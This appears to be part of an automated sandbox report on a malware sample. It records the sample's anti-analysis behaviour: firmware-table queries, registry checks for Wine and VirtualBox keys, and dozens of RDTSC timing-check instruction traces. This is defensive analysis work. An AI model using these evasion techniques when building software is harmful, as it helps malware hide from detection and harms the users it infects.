Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE22A6 second address: DE22B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAD011DC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE22B0 second address: DE22B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE135D second address: DE1361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE14AE second address: DE14B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1614 second address: DE1619 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1A67 second address: DE1A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007FAD00757CA6h 0x0000000b jmp 00007FAD00757CA2h 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1A9D second address: DE1AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1AA1 second address: DE1ABD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD00757C9Ah 0x00000011 jnp 00007FAD00757C96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1ABD second address: DE1AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A8h 0x00000007 jmp 00007FAD011DC39Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE1AE7 second address: DE1AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3603 second address: DE3681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAD011DC3A0h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 7EBE3900h 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D1A36h], edi 0x00000019 mov bx, 7E16h 0x0000001d popad 0x0000001e push 00000003h 0x00000020 mov dword ptr [ebp+122D1A27h], edi 0x00000026 push 00000000h 0x00000028 je 00007FAD011DC399h 0x0000002e adc dh, 0000007Eh 0x00000031 push 00000003h 0x00000033 jmp 00007FAD011DC3A9h 0x00000038 mov dword ptr [ebp+122D1EC8h], ebx 0x0000003e call 00007FAD011DC399h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FAD011DC3A6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3681 second address: DE368B instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD00757C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE368B second address: DE3696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3696 second address: DE36B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FAD00757C9Ch 0x0000000b jno 00007FAD00757C96h 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE36B2 second address: DE36B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE36B6 second address: DE36BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE36BC second address: DE36F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD011DC3A5h 0x00000008 jmp 00007FAD011DC39Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 js 00007FAD011DC3A2h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE37E1 second address: DE3822 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD00757C9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FAD00757C98h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 movzx edi, bx 0x0000002a push 00000000h 0x0000002c mov ch, F9h 0x0000002e push 26B0EE50h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3822 second address: DE3828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3828 second address: DE382E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE38D1 second address: DE38DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE38DE second address: DE38F8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007FAD00757C96h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FAD00757C98h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE38F8 second address: DE393E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAD011DC3A3h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov dl, 27h 0x0000000e lea ebx, dword ptr [ebp+12458495h] 0x00000014 cmc 0x00000015 xchg eax, ebx 0x00000016 jng 00007FAD011DC3B7h 0x0000001c pushad 0x0000001d jmp 00007FAD011DC3A9h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DE3A2D second address: DE3A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0476F second address: E04785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E04785 second address: E04789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E04789 second address: E047B1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FAD011DC39Ah 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FAD011DC39Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E047B1 second address: E047B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E047B5 second address: E047B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E047B9 second address: E047BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E047BF second address: E047EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD011DC3A3h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FAD011DC3A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E025BC second address: E025C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E025C2 second address: E025DE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007FAD011DC396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FAD011DC39Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E025DE second address: E0260D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAD00757C96h 0x00000008 jbe 00007FAD00757C96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FAD00757C9Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FAD00757C9Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0260D second address: E02614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E02614 second address: E02629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA0h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E02BE0 second address: E02BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E02FE6 second address: E02FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAD00757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E02FF0 second address: E03003 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAD011DC39Ah 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E03003 second address: E0302F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD00757CA6h 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007FAD00757C96h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0302F second address: E03040 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD011DC39Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0333E second address: E03347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E03347 second address: E0334D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0334D second address: E03352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E03528 second address: E0352F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0352F second address: E03535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E03535 second address: E03561 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD011DC3A0h 0x00000013 jnl 00007FAD011DC39Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E036AB second address: E036CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA0h 0x00000009 popad 0x0000000a jnc 00007FAD00757C9Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DC9B5A second address: DC9B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DC9B65 second address: DC9B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E03959 second address: E03965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAD011DC396h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E0405A second address: E0407E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FAD00757C96h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnc 00007FAD00757C96h 0x00000011 ja 00007FAD00757C96h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAD00757C9Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E07173 second address: E0717D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAD011DC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E086CE second address: E086D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FAD00757C96h 0x0000000a rdtsc
